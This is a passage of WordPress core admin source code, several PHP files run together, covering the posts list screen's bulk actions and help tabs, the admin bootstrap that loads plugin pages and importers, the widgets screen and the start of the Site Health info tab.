			$sendback = add_query_arg( 'untrashed', $untrashed, $sendback );

			remove_filter( 'wp_untrash_post_status', 'wp_untrash_post_set_previous_status', 10 );

			break;
		case 'delete':
			$deleted = 0;
			foreach ( (array) $post_ids as $post_id ) {
				$post_del = get_post( $post_id );

				if ( ! current_user_can( 'delete_post', $post_id ) ) {
					wp_die( __( 'Sorry, you are not allowed to delete this item.' ) );
				}

				if ( 'attachment' === $post_del->post_type ) {
					if ( ! wp_delete_attachment( $post_id ) ) {
						wp_die( __( 'Error in deleting the attachment.' ) );
					}
				} else {
					if ( ! wp_delete_post( $post_id ) ) {
						wp_die( __( 'Error in deleting the item.' ) );
					}
				}
				++$deleted;
			}
			$sendback = add_query_arg( 'deleted', $deleted, $sendback );
			break;
		case 'edit':
			if ( isset( $_REQUEST['bulk_edit'] ) ) {
				$done = bulk_edit_posts( $_REQUEST );

				if ( is_array( $done ) ) {
					$done['updated'] = count( $done['updated'] );
					$done['skipped'] = count( $done['skipped'] );
					$done['locked']  = count( $done['locked'] );
					$sendback        = add_query_arg( $done, $sendback );
				}
			}
			break;
		default:
			$screen = get_current_screen()->id;

			/**
			 * Fires when a custom bulk action should be handled.
			 *
			 * The redirect link should be modified with success or failure feedback
			 * from the action to be used to display feedback to the user.
			 *
			 * The dynamic portion of the hook name, `$screen`, refers to the current screen ID.
			 *
			 * @since 4.7.0
			 *
			 * @param string $sendback The redirect URL.
			 * @param string $doaction The action being taken.
			 * @param array  $items    The items to take the action on. Accepts an array of IDs of posts,
			 *                         comments, terms, links, plugins, attachments, or users.
			 */
			$sendback = apply_filters( "handle_bulk_actions-{$screen}", $sendback, $doaction, $post_ids ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
			break;
	}

	$sendback = remove_query_arg( array( 'action', 'action2', 'tags_input', 'post_author', 'comment_status', 'ping_status', '_status', 'post', 'bulk_edit', 'post_view' ), $sendback );

	wp_redirect( $sendback );
	exit;
} elseif ( ! empty( $_REQUEST['_wp_http_referer'] ) ) {
	wp_redirect( remove_query_arg( array( '_wp_http_referer', '_wpnonce' ), wp_unslash( $_SERVER['REQUEST_URI'] ) ) );
	exit;
}

$wp_list_table->prepare_items();

wp_enqueue_script( 'inline-edit-post' );
wp_enqueue_script( 'heartbeat' );

if ( 'wp_block' === $post_type ) {
	wp_enqueue_script( 'wp-list-reusable-blocks' );
	wp_enqueue_style( 'wp-list-reusable-blocks' );
}

// Used in the HTML title tag.
$title = $post_type_object->labels->name;

if ( 'post' === $post_type ) {
	get_current_screen()->add_help_tab(
		array(
			'id'      => 'overview',
			'title'   => __( 'Overview' ),
			'content' =>
					'<p>' . __( 'This screen provides access to all of your posts. You can customize the display of this screen to suit your workflow.' ) . '</p>',
		)
	);
	get_current_screen()->add_help_tab(
		array(
			'id'      => 'screen-content',
			'title'   => __( 'Screen Content' ),
			'content' =>
					'<p>' . __( 'You can customize the display of this screen&#8217;s contents in a number of ways:' ) . '</p>' .
					'<ul>' .
						'<li>' . __( 'You can hide/display columns based on your needs and decide how many posts to list per screen using the Screen Options tab.' ) . '</li>' .
						'<li>' . __( 'You can filter the list of posts by post status using the text links above the posts list to only show posts with that status. The default view is to show all posts.' ) . '</li>' .
						'<li>' . __( 'You can view posts in a simple title list or with an excerpt using the Screen Options tab.' ) . '</li>' .
						'<li>' . __( 'You can refine the list to show only posts in a specific category or from a specific month by using the dropdown menus above the posts list. Click the Filter button after making your selection. You also can refine the list by clicking on the post author, category or tag in the posts list.' ) . '</li>' .
					'</ul>',
		)
	);
	get_current_screen()->add_help_tab(
		array(
			'id'      => 'action-links',
			'title'   => __( 'Available Actions' ),
			'content' =>
					'<p>' . __( 'Hovering over a row in the posts list will display action links that allow you to manage your post. You can perform the following actions:' ) . '</p>' .
					'<ul>' .
						'<li>' . __( '<strong>Edit</strong> takes you to the editing screen for that post. You can also reach that screen by clicking on the post title.' ) . '</li>' .
						'<li>' . __( '<strong>Quick Edit</strong> provides inline access to the metadata of your post, allowing you to update post details without leaving this screen.' ) . '</li>' .
						'<li>' . __( '<strong>Trash</strong> removes your post from this list and places it in the Trash, from which you can permanently delete it.' ) . '</li>' .
						'<li>' . __( '<strong>Preview</strong> will show you what your draft post will look like if you publish it. View will take you to your live site to view the post. Which link is available depends on your post&#8217;s status.' ) . '</li>' .
					'</ul>',
		)
	);
	get_current_screen()->add_help_tab(
		array(
			'id'      => 'bulk-actions',
			'title'   => __( 'Bulk actions' ),
			'content' =>
					'<p>' . __( 'You can also edit or move multiple posts to the Trash at once. Select the posts you want to act on using the checkboxes, then select the action you want to take from the Bulk actions menu and click Apply.' ) . '</p>' .
					'<p>' . sprintf(
						/* translators: %s: The dismiss dashicon used for buttons that dismiss or remove. */
						__( 'When using Bulk Edit, you can change the metadata (categories, author, etc.) for all selected posts at once. To remove a post from the grouping, just click the %s<span class="screen-reader-text">remove</span> button next to its name in the Bulk Edit area that appears.' ),
						'<span class="dashicons dashicons-dismiss" aria-hidden="true" style="font-size: 16px; width: 16px; vertical-align: middle;"></span>'
					) . '</p>',
		)
	);

	get_current_screen()->set_help_sidebar(
		'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
		'<p>' . __( '<a href="https://wordpress.org/documentation/article/posts-screen/">Documentation on Managing Posts</a>' ) . '</p>' .
		'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
	);

} elseif ( 'page' === $post_type ) {
	get_current_screen()->add_help_tab(
		array(
			'id'      => 'overview',
			'title'   => __( 'Overview' ),
			'content' =>
					'<p>' . __( 'Pages are similar to posts in that they have a title, body text, and associated metadata, but they are different in that they are not part of the chronological blog stream, kind of like permanent posts. Pages are not categorized or tagged, but can have a hierarchy. You can nest pages under other pages by making one the &#8220;Parent&#8221; of the other, creating a group of pages.' ) . '</p>',
		)
	);
	get_current_screen()->add_help_tab(
		array(
			'id'      => 'managing-pages',
			'title'   => __( 'Managing Pages' ),
			'content' =>
					'<p>' . __( 'Managing pages is very similar to managing posts, and the screens can be customized in the same way.' ) . '</p>' .
					'<p>' . __( 'You can also perform the same types of actions, including narrowing the list by using the filters, acting on a page using the action links that appear when you hover over a row, or using the Bulk actions menu to edit the metadata for multiple pages at once.' ) . '</p>',
		)
	);

	get_current_screen()->set_help_sidebar(
		'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
		'<p>' . __( '<a href="https://wordpress.org/documentation/article/pages-screen/">Documentation on Managing Pages</a>' ) . '</p>' .
		'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
	);

}

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => $post_type_object->labels->filter_items_list,
		'heading_pagination' => $post_type_object->labels->items_list_navigation,
		'heading_list'       => $post_type_object->labels->items_list,
	)
);

add_screen_option(
	'per_page',
	array(
		'default' => 20,
		'option'  => 'edit_' . $post_type . '_per_page',
	)
);

$bulk_counts = array(
	'updated'   => isset( $_REQUEST['updated'] ) ? absint( $_REQUEST['updated'] ) : 0,
	'locked'    => isset( $_REQUEST['locked'] ) ? absint( $_REQUEST['locked'] ) : 0,
	'deleted'   => isset( $_REQUEST['deleted'] ) ? absint( $_REQUEST['deleted'] ) : 0,
	'trashed'   => isset( $_REQUEST['trashed'] ) ? absint( $_REQUEST['trashed'] ) : 0,
	'untrashed' => isset( $_REQUEST['untrashed'] ) ? absint( $_REQUEST['untrashed'] ) : 0,
);

$bulk_messages             = array();
$bulk_messages['post']     = array(
	/* translators: %s: Number of posts. */
	'updated'   => _n( '%s post updated.', '%s posts updated.', $bulk_counts['updated'] ),
	'locked'    => ( 1 === $bulk_counts['locked'] ) ? __( '1 post not updated, somebody is editing it.' ) :
					/* translators: %s: Number of posts. */
					_n( '%s post not updated, somebody is editing it.', '%s posts not updated, somebody is editing them.', $bulk_counts['locked'] ),
	/* translators: %s: Number of posts. */
	'deleted'   => _n( '%s post permanently deleted.', '%s posts permanently deleted.', $bulk_counts['deleted'] ),
	/* translators: %s: Number of posts. */
	'trashed'   => _n( '%s post moved to the Trash.', '%s posts moved to the Trash.', $bulk_counts['trashed'] ),
	/* translators: %s: Number of posts. */
	'untrashed' => _n( '%s post restored from the Trash.', '%s posts restored from the Trash.', $bulk_counts['untrashed'] ),
);
$bulk_messages['page']     = array(
	/* translators: %s: Number of pages. */
	'updated'   => _n( '%s page updated.', '%s pages updated.', $bulk_counts['updated'] ),
	'locked'    => ( 1 === $bulk_counts['locked'] ) ? __( '1 page not updated, somebody is editing it.' ) :
					/* translators: %s: Number of pages. */
					_n( '%s page not updated, somebody is editing it.', '%s pages not updated, somebody is editing them.', $bulk_counts['locked'] ),
	/* translators: %s: Number of pages. */
	'deleted'   => _n( '%s page permanently deleted.', '%s pages permanently deleted.', $bulk_counts['deleted'] ),
	/* translators: %s: Number of pages. */
	'trashed'   => _n( '%s page moved to the Trash.', '%s pages moved to the Trash.', $bulk_counts['trashed'] ),
	/* translators: %s: Number of pages. */
	'untrashed' => _n( '%s page restored from the Trash.', '%s pages restored from the Trash.', $bulk_counts['untrashed'] ),
);
$bulk_messages['wp_block'] = array(
	/* translators: %s: Number of patterns. */
	'updated'   => _n( '%s pattern updated.', '%s patterns updated.', $bulk_counts['updated'] ),
	'locked'    => ( 1 === $bulk_counts['locked'] ) ? __( '1 pattern not updated, somebody is editing it.' ) :
					/* translators: %s: Number of patterns. */
					_n( '%s pattern not updated, somebody is editing it.', '%s patterns not updated, somebody is editing them.', $bulk_counts['locked'] ),
	/* translators: %s: Number of patterns. */
	'deleted'   => _n( '%s pattern permanently deleted.', '%s patterns permanently deleted.', $bulk_counts['deleted'] ),
	/* translators: %s: Number of patterns. */
	'trashed'   => _n( '%s pattern moved to the Trash.', '%s patterns moved to the Trash.', $bulk_counts['trashed'] ),
	/* translators: %s: Number of patterns. */
	'untrashed' => _n( '%s pattern restored from the Trash.', '%s patterns restored from the Trash.', $bulk_counts['untrashed'] ),
);

/**
 * Filters the bulk action updated messages.
 *
 * By default, custom post types use the messages for the 'post' post type.
 *
 * @since 3.7.0
 *
 * @param array[] $bulk_messages Arrays of messages, each keyed by the corresponding post type. Messages are
 *                               keyed with 'updated', 'locked', 'deleted', 'trashed', and 'untrashed'.
 * @param int[]   $bulk_counts   Array of item counts for each message, used to build internationalized strings.
 */
$bulk_messages = apply_filters( 'bulk_post_updated_messages', $bulk_messages, $bulk_counts );
$bulk_counts   = array_filter( $bulk_counts );

require_once ABSPATH . 'wp-admin/admin-header.php';
?>
<div class="wrap">
<h1 class="wp-heading-inline">
<?php
echo esc_html( $post_type_object->labels->name );
?>
</h1>

<?php
if ( current_user_can( $post_type_object->cap->create_posts ) ) {
	echo ' <a href="' . esc_url( admin_url( $post_new_file ) ) . '" class="page-title-action">' . esc_html( $post_type_object->labels->add_new ) . '</a>';
}

if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) {
	echo '<span class="subtitle">';
	printf(
		/* translators: %s: Search query. */
		__( 'Search results for: %s' ),
		'<strong>' . get_search_query() . '</strong>'
	);
	echo '</span>';
}
?>

<hr class="wp-header-end">

<?php
// If we have a bulk message to issue:
$messages = array();
foreach ( $bulk_counts as $message => $count ) {
	if ( isset( $bulk_messages[ $post_type ][ $message ] ) ) {
		$messages[] = sprintf( $bulk_messages[ $post_type ][ $message ], number_format_i18n( $count ) );
	} elseif ( isset( $bulk_messages['post'][ $message ] ) ) {
		$messages[] = sprintf( $bulk_messages['post'][ $message ], number_format_i18n( $count ) );
	}

	if ( 'trashed' === $message && isset( $_REQUEST['ids'] ) ) {
		$ids = preg_replace( '/[^0-9,]/', '', $_REQUEST['ids'] );

		$messages[] = sprintf(
			'<a href="%1$s">%2$s</a>',
			esc_url( wp_nonce_url( "edit.php?post_type=$post_type&doaction=undo&action=untrash&ids=$ids", 'bulk-posts' ) ),
			__( 'Undo' )
		);
	}

	if ( 'untrashed' === $message && isset( $_REQUEST['ids'] ) ) {
		$ids = explode( ',', $_REQUEST['ids'] );

		if ( 1 === count( $ids ) && current_user_can( 'edit_post', $ids[0] ) ) {
			$messages[] = sprintf(
				'<a href="%1$s">%2$s</a>',
				esc_url( get_edit_post_link( $ids[0] ) ),
				esc_html( get_post_type_object( get_post_type( $ids[0] ) )->labels->edit_item )
			);
		}
	}
}

if ( $messages ) {
	wp_admin_notice(
		implode( ' ', $messages ),
		array(
			'id'                 => 'message',
			'additional_classes' => array( 'updated' ),
			'dismissible'        => true,
		)
	);
}
unset( $messages );

$_SERVER['REQUEST_URI'] = remove_query_arg( array( 'locked', 'skipped', 'updated', 'deleted', 'trashed', 'untrashed' ), $_SERVER['REQUEST_URI'] );
?>

<?php $wp_list_table->views(); ?>

<form id="posts-filter" method="get">

<?php $wp_list_table->search_box( $post_type_object->labels->search_items, 'post' ); ?>

<input type="hidden" name="post_status" class="post_status_page" value="<?php echo ! empty( $_REQUEST['post_status'] ) ? esc_attr( $_REQUEST['post_status'] ) : 'all'; ?>" />
<input type="hidden" name="post_type" class="post_type_page" value="<?php echo esc_attr( $post_type ); ?>" />

<?php if ( ! empty( $_REQUEST['author'] ) ) { ?>
<input type="hidden" name="author" value="<?php echo esc_attr( $_REQUEST['author'] ); ?>" />
<?php } ?>

<?php if ( ! empty( $_REQUEST['show_sticky'] ) ) { ?>
<input type="hidden" name="show_sticky" value="1" />
<?php } ?>

<?php $wp_list_table->display(); ?>

</form>

<?php
if ( $wp_list_table->has_items() ) {
	$wp_list_table->inline_edit();
}
?>

<div id="ajax-response"></div>
<div class="clear"></div>
</div>

<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Administration Functions
 *
 * This file is deprecated, use 'wp-admin/includes/admin.php' instead.
 *
 * @deprecated 2.5.0
 * @package WordPress
 * @subpackage Administration
 */

_deprecated_file( basename( __FILE__ ), '2.5.0', 'wp-admin/includes/admin.php' );

/** WordPress Administration API: Includes all Administration functions. */
require_once ABSPATH . 'wp-admin/includes/admin.php';
<?php
/**
 * WordPress Administration Bootstrap
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * In WordPress Administration Screens
 *
 * @since 2.3.2
 */
if ( ! defined( 'WP_ADMIN' ) ) {
	define( 'WP_ADMIN', true );
}

if ( ! defined( 'WP_NETWORK_ADMIN' ) ) {
	define( 'WP_NETWORK_ADMIN', false );
}

if ( ! defined( 'WP_USER_ADMIN' ) ) {
	define( 'WP_USER_ADMIN', false );
}

if ( ! WP_NETWORK_ADMIN && ! WP_USER_ADMIN ) {
	define( 'WP_BLOG_ADMIN', true );
}

if ( isset( $_GET['import'] ) && ! defined( 'WP_LOAD_IMPORTERS' ) ) {
	define( 'WP_LOAD_IMPORTERS', true );
}

require_once dirname( __DIR__ ) . '/wp-load.php';

nocache_headers();

if ( get_option( 'db_upgraded' ) ) {

	flush_rewrite_rules();
	update_option( 'db_upgraded', false );

	/**
	 * Fires on the next page load after a successful DB upgrade.
	 *
	 * @since 2.8.0
	 */
	do_action( 'after_db_upgrade' );

} elseif ( ! wp_doing_ajax() && empty( $_POST )
	&& (int) get_option( 'db_version' ) !== $wp_db_version
) {

	if ( ! is_multisite() ) {
		wp_redirect( admin_url( 'upgrade.php?_wp_http_referer=' . urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ) ) );
		exit;
	}

	/**
	 * Filters whether to attempt to perform the multisite DB upgrade routine.
	 *
	 * In single site, the user would be redirected to wp-admin/upgrade.php.
	 * In multisite, the DB upgrade routine is automatically fired, but only
	 * when this filter returns true.
	 *
	 * If the network is 50 sites or less, it will run every time. Otherwise,
	 * it will throttle itself to reduce load.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param bool $do_mu_upgrade Whether to perform the Multisite upgrade routine. Default true.
	 */
	if ( apply_filters( 'do_mu_upgrade', true ) ) {
		$c = get_blog_count();

		/*
		 * If there are 50 or fewer sites, run every time. Otherwise, throttle to reduce load:
		 * attempt to do no more than threshold value, with some +/- allowed.
		 */
		if ( $c <= 50 || ( $c > 50 && mt_rand( 0, (int) ( $c / 50 ) ) === 1 ) ) {
			require_once ABSPATH . WPINC . '/http.php';
			$response = wp_remote_get(
				admin_url( 'upgrade.php?step=1' ),
				array(
					'timeout'     => 120,
					'httpversion' => '1.1',
				)
			);
			/** This action is documented in wp-admin/network/upgrade.php */
			do_action( 'after_mu_upgrade', $response );
			unset( $response );
		}
		unset( $c );
	}
}

require_once ABSPATH . 'wp-admin/includes/admin.php';

auth_redirect();

// Schedule Trash collection.
if ( ! wp_next_scheduled( 'wp_scheduled_delete' ) && ! wp_installing() ) {
	wp_schedule_event( time(), 'daily', 'wp_scheduled_delete' );
}

// Schedule transient cleanup.
if ( ! wp_next_scheduled( 'delete_expired_transients' ) && ! wp_installing() ) {
	wp_schedule_event( time(), 'daily', 'delete_expired_transients' );
}

set_screen_options();

$date_format = __( 'F j, Y' );
$time_format = __( 'g:i a' );

wp_enqueue_script( 'common' );

/**
 * $pagenow is set in vars.php.
 * $wp_importers is sometimes set in wp-admin/includes/import.php.
 * The remaining variables are imported as globals elsewhere, declared as globals here.
 *
 * @global string $pagenow      The filename of the current screen.
 * @global array  $wp_importers
 * @global string $hook_suffix
 * @global string $plugin_page
 * @global string $typenow      The post type of the current screen.
 * @global string $taxnow       The taxonomy of the current screen.
 */
global $pagenow, $wp_importers, $hook_suffix, $plugin_page, $typenow, $taxnow;

$page_hook = null;

$editing = false;

if ( isset( $_GET['page'] ) ) {
	$plugin_page = wp_unslash( $_GET['page'] );
	$plugin_page = plugin_basename( $plugin_page );
}

if ( isset( $_REQUEST['post_type'] ) && post_type_exists( $_REQUEST['post_type'] ) ) {
	$typenow = $_REQUEST['post_type'];
} else {
	$typenow = '';
}

if ( isset( $_REQUEST['taxonomy'] ) && taxonomy_exists( $_REQUEST['taxonomy'] ) ) {
	$taxnow = $_REQUEST['taxonomy'];
} else {
	$taxnow = '';
}

if ( WP_NETWORK_ADMIN ) {
	require ABSPATH . 'wp-admin/network/menu.php';
} elseif ( WP_USER_ADMIN ) {
	require ABSPATH . 'wp-admin/user/menu.php';
} else {
	require ABSPATH . 'wp-admin/menu.php';
}

if ( current_user_can( 'manage_options' ) ) {
	wp_raise_memory_limit( 'admin' );
}

/**
 * Fires as an admin screen or script is being initialized.
 *
 * Note, this does not just run on user-facing admin screens.
 * It runs on admin-ajax.php and admin-post.php as well.
 *
 * This is roughly analogous to the more general {@see 'init'} hook, which fires earlier.
 *
 * @since 2.5.0
 */
do_action( 'admin_init' );

if ( isset( $plugin_page ) ) {
	if ( ! empty( $typenow ) ) {
		$the_parent = $pagenow . '?post_type=' . $typenow;
	} else {
		$the_parent = $pagenow;
	}

	$page_hook = get_plugin_page_hook( $plugin_page, $the_parent );
	if ( ! $page_hook ) {
		$page_hook = get_plugin_page_hook( $plugin_page, $plugin_page );

		// Back-compat for plugins using add_management_page().
		if ( empty( $page_hook ) && 'edit.php' === $pagenow && get_plugin_page_hook( $plugin_page, 'tools.php' ) ) {
			// There could be plugin specific params on the URL, so we need the whole query string.
			if ( ! empty( $_SERVER['QUERY_STRING'] ) ) {
				$query_string = $_SERVER['QUERY_STRING'];
			} else {
				$query_string = 'page=' . $plugin_page;
			}
			wp_redirect( admin_url( 'tools.php?' . $query_string ) );
			exit;
		}
	}
	unset( $the_parent );
}

$hook_suffix = '';
if ( isset( $page_hook ) ) {
	$hook_suffix = $page_hook;
} elseif ( isset( $plugin_page ) ) {
	$hook_suffix = $plugin_page;
} elseif ( isset( $pagenow ) ) {
	$hook_suffix = $pagenow;
}

set_current_screen();

// Handle plugin admin pages.
if ( isset( $plugin_page ) ) {
	if ( $page_hook ) {
		/**
		 * Fires before a particular screen is loaded.
		 *
		 * The load-* hook fires in a number of contexts. This hook is for plugin screens
		 * where a callback is provided when the screen is registered.
		 *
		 * The dynamic portion of the hook name, `$page_hook`, refers to a mixture of plugin
		 * page information including:
		 * 1. The page type. If the plugin page is registered as a submenu page, such as for
		 *    Settings, the page type would be 'settings'. Otherwise the type is 'toplevel'.
		 * 2. A separator of '_page_'.
		 * 3. The plugin basename minus the file extension.
		 *
		 * Together, the three parts form the `$page_hook`. Citing the example above,
		 * the hook name used would be 'load-settings_page_pluginbasename'.
		 *
		 * @see get_plugin_page_hook()
		 *
		 * @since 2.1.0
		 */
		do_action( "load-{$page_hook}" ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
		if ( ! isset( $_GET['noheader'] ) ) {
			require_once ABSPATH . 'wp-admin/admin-header.php';
		}

		/**
		 * Used to call the registered callback for a plugin screen.
		 *
		 * This hook uses a dynamic hook name, `$page_hook`, which refers to a mixture of plugin
		 * page information including:
		 * 1. The page type. If the plugin page is registered as a submenu page, such as for
		 *    Settings, the page type would be 'settings'. Otherwise the type is 'toplevel'.
		 * 2. A separator of '_page_'.
		 * 3. The plugin basename minus the file extension.
		 *
		 * Together, the three parts form the `$page_hook`. Citing the example above,
		 * the hook name used would be 'settings_page_pluginbasename'.
		 *
		 * @see get_plugin_page_hook()
		 *
		 * @since 1.5.0
		 */
		do_action( $page_hook );
	} else {
		if ( validate_file( $plugin_page ) ) {
			wp_die( __( 'Invalid plugin page.' ) );
		}

		if ( ! ( file_exists( WP_PLUGIN_DIR . "/$plugin_page" ) && is_file( WP_PLUGIN_DIR . "/$plugin_page" ) )
			&& ! ( file_exists( WPMU_PLUGIN_DIR . "/$plugin_page" ) && is_file( WPMU_PLUGIN_DIR . "/$plugin_page" ) )
		) {
			/* translators: %s: Admin page generated by a plugin. */
			wp_die( sprintf( __( 'Cannot load %s.' ), htmlentities( $plugin_page ) ) );
		}

		/**
		 * Fires before a particular screen is loaded.
		 *
		 * The load-* hook fires in a number of contexts. This hook is for plugin screens
		 * where the file to load is directly included, rather than the use of a function.
		 *
		 * The dynamic portion of the hook name, `$plugin_page`, refers to the plugin basename.
		 *
		 * @see plugin_basename()
		 *
		 * @since 1.5.0
		 */
		do_action( "load-{$plugin_page}" ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

		if ( ! isset( $_GET['noheader'] ) ) {
			require_once ABSPATH . 'wp-admin/admin-header.php';
		}

		if ( file_exists( WPMU_PLUGIN_DIR . "/$plugin_page" ) ) {
			include WPMU_PLUGIN_DIR . "/$plugin_page";
		} else {
			include WP_PLUGIN_DIR . "/$plugin_page";
		}
	}

	require_once ABSPATH . 'wp-admin/admin-footer.php';

	exit;
} elseif ( isset( $_GET['import'] ) ) {

	$importer = $_GET['import'];

	if ( ! current_user_can( 'import' ) ) {
		wp_die( __( 'Sorry, you are not allowed to import content into this site.' ) );
	}

	if ( validate_file( $importer ) ) {
		wp_redirect( admin_url( 'import.php?invalid=' . $importer ) );
		exit;
	}

	if ( ! isset( $wp_importers[ $importer ] ) || ! is_callable( $wp_importers[ $importer ][2] ) ) {
		wp_redirect( admin_url( 'import.php?invalid=' . $importer ) );
		exit;
	}

	/**
	 * Fires before an importer screen is loaded.
	 *
	 * The dynamic portion of the hook name, `$importer`, refers to the importer slug.
	 *
	 * Possible hook names include:
	 *
	 *  - `load-importer-blogger`
	 *  - `load-importer-wpcat2tag`
	 *  - `load-importer-livejournal`
	 *  - `load-importer-mt`
	 *  - `load-importer-rss`
	 *  - `load-importer-tumblr`
	 *  - `load-importer-wordpress`
	 *
	 * @since 3.5.0
	 */
	do_action( "load-importer-{$importer}" ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	// Used in the HTML title tag.
	$title        = __( 'Import' );
	$parent_file  = 'tools.php';
	$submenu_file = 'import.php';

	if ( ! isset( $_GET['noheader'] ) ) {
		require_once ABSPATH . 'wp-admin/admin-header.php';
	}

	require_once ABSPATH . 'wp-admin/includes/upgrade.php';

	define( 'WP_IMPORTING', true );

	/**
	 * Filters whether to filter imported data through kses on import.
	 *
	 * Multisite uses this hook to filter all data through kses by default,
	 * as a super administrator may be assisting an untrusted user.
	 *
	 * @since 3.1.0
	 *
	 * @param bool $force Whether to force data to be filtered through kses. Default false.
	 */
	if ( apply_filters( 'force_filtered_html_on_import', false ) ) {
		kses_init_filters();  // Always filter imported data with kses on multisite.
	}

	call_user_func( $wp_importers[ $importer ][2] );

	require_once ABSPATH . 'wp-admin/admin-footer.php';

	// Make sure rules are flushed.
	flush_rewrite_rules( false );

	exit;
} else {
	/**
	 * Fires before a particular screen is loaded.
	 *
	 * The load-* hook fires in a number of contexts. This hook is for core screens.
	 *
	 * The dynamic portion of the hook name, `$pagenow`, is a global variable
	 * referring to the filename of the current screen, such as 'admin.php',
	 * 'post-new.php' etc. A complete hook for the latter would be
	 * 'load-post-new.php'.
	 *
	 * @since 2.1.0
	 */
	do_action( "load-{$pagenow}" ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	/*
	 * The following hooks are fired to ensure backward compatibility.
	 * In all other cases, 'load-' . $pagenow should be used instead.
	 */
	if ( 'page' === $typenow ) {
		if ( 'post-new.php' === $pagenow ) {
			do_action( 'load-page-new.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
		} elseif ( 'post.php' === $pagenow ) {
			do_action( 'load-page.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
		}
	} elseif ( 'edit-tags.php' === $pagenow ) {
		if ( 'category' === $taxnow ) {
			do_action( 'load-categories.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
		} elseif ( 'link_category' === $taxnow ) {
			do_action( 'load-edit-link-categories.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
		}
	} elseif ( 'term.php' === $pagenow ) {
		do_action( 'load-edit-tags.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
	}
}

if ( ! empty( $_REQUEST['action'] ) ) {
	$action = $_REQUEST['action'];

	/**
	 * Fires when an 'action' request variable is sent.
	 *
	 * The dynamic portion of the hook name, `$action`, refers to
	 * the action derived from the `GET` or `POST` request.
	 *
	 * @since 2.6.0
	 */
	do_action( "admin_action_{$action}" );
}
<?php
/**
 * Widget administration screen.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

/** WordPress Administration Widgets API */
require_once ABSPATH . 'wp-admin/includes/widgets.php';

if ( ! current_user_can( 'edit_theme_options' ) ) {
	wp_die(
		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
		'<p>' . __( 'Sorry, you are not allowed to edit theme options on this site.' ) . '</p>',
		403
	);
}

if ( ! current_theme_supports( 'widgets' ) ) {
	wp_die( __( 'The theme you are currently using is not widget-aware, meaning that it has no sidebars that you are able to change. For information on making your theme widget-aware, please <a href="https://developer.wordpress.org/themes/functionality/widgets/">follow these instructions</a>.' ) );
}

// Used in the HTML title tag.
$title       = __( 'Widgets' );
$parent_file = 'themes.php';

if ( wp_use_widgets_block_editor() ) {
	require ABSPATH . 'wp-admin/widgets-form-blocks.php';
} else {
	require ABSPATH . 'wp-admin/widgets-form.php';
}
<?php
/**
 * Tools Administration Screen.
 *
 * @package WordPress
 * @subpackage Administration
 */

if ( ! defined( 'ABSPATH' ) ) {
	die();
}

if ( ! class_exists( 'WP_Debug_Data' ) ) {
	require_once ABSPATH . 'wp-admin/includes/class-wp-debug-data.php';
}
if ( ! class_exists( 'WP_Site_Health' ) ) {
	require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
}

$health_check_site_status = WP_Site_Health::get_instance();

wp_admin_notice(
	__( 'The Site Health check requires JavaScript.' ),
	array(
		'type'               => 'error',
		'additional_classes' => array( 'hide-if-js' ),
	)
);
?>

<div class="health-check-body health-check-debug-tab hide-if-no-js">
	<?php

	WP_Debug_Data::check_for_updates();

	$info = WP_Debug_Data::debug_data();

	?>

	<h2>
		<?php _e( 'Site Health Info' ); ?>
	</h2>

	<p>
		<?php
			/* translators: %s: URL to Site Health Status page. */
			printf( __( 'This page can show you every detail about the configuration of your WordPress website. For any improvements that could be made, see the <a href="%s">Site Health Status</a> page.' ), esc_url( admin_url( 'site-health.php' ) ) );
		?>
	</p>
	<p>
		<?php _e( 'If you want to export a handy list of all the information on this page, you can use the button below to copy it to the clipboard. You can then paste it in a text file and save it to your device, or paste it in an email exchange with a support engineer or theme/plugin developer for example.' ); ?>
	</p>

	<div class="site-health-copy-buttons">
		<div class="copy-button-wrapper">
			<button type="button" class="button copy-button" data-clipboard-text="<?php echo esc_attr( WP_Debug_Data::format( $info, 'debug' ) ); ?>">
				<?php _e( 'Copy site info to clipboard' ); ?>
			</button>
			<span class="success hidden" aria-hidden="true"><?php _e( 'Copied!' ); ?></span>
		</div>
	</div>

	<div id="health-check-debug" class="health-check-accordion">

		<?php

		$sizes_fields = array( 'uploads_size', 'themes_size', 'plugins_size', 'wordpress_size', 'database_size', 'total_size' );

		foreach ( $info as $section => $details ) {
			if ( ! isset( $details['fields'] ) || empty( $details['fields'] ) ) {
				continue;
			}

			?>
			<h3 class="health-check-accordion-heading">
				<button aria-expanded="false" class="health-check-accordion-trigger" aria-controls="health-check-accordion-block-<?php echo esc_attr( $section ); ?>" type="button">
					<span class="title">
						<?php echo esc_html( $details['label'] ); ?>
						<?php

						if ( isset( $details['show_count'] ) && $details['show_count'] ) {
							printf(
								'(%s)',
								number_format_i18n( count( $details['fields'] ) )
							);
						}

						?>
					</span>
					<?php

					if ( 'wp-paths-sizes' === $section ) {
						?>
						<span class="health-check-wp-paths-sizes spinner"></span>
						<?php
					}

					?>
					<span class="icon"></span>
				</button>
			</h3>

			<div id="health-check-accordion-block-<?php echo esc_attr( $section ); ?>" class="health-check-accordion-panel" hidden="hidden">
				<?php

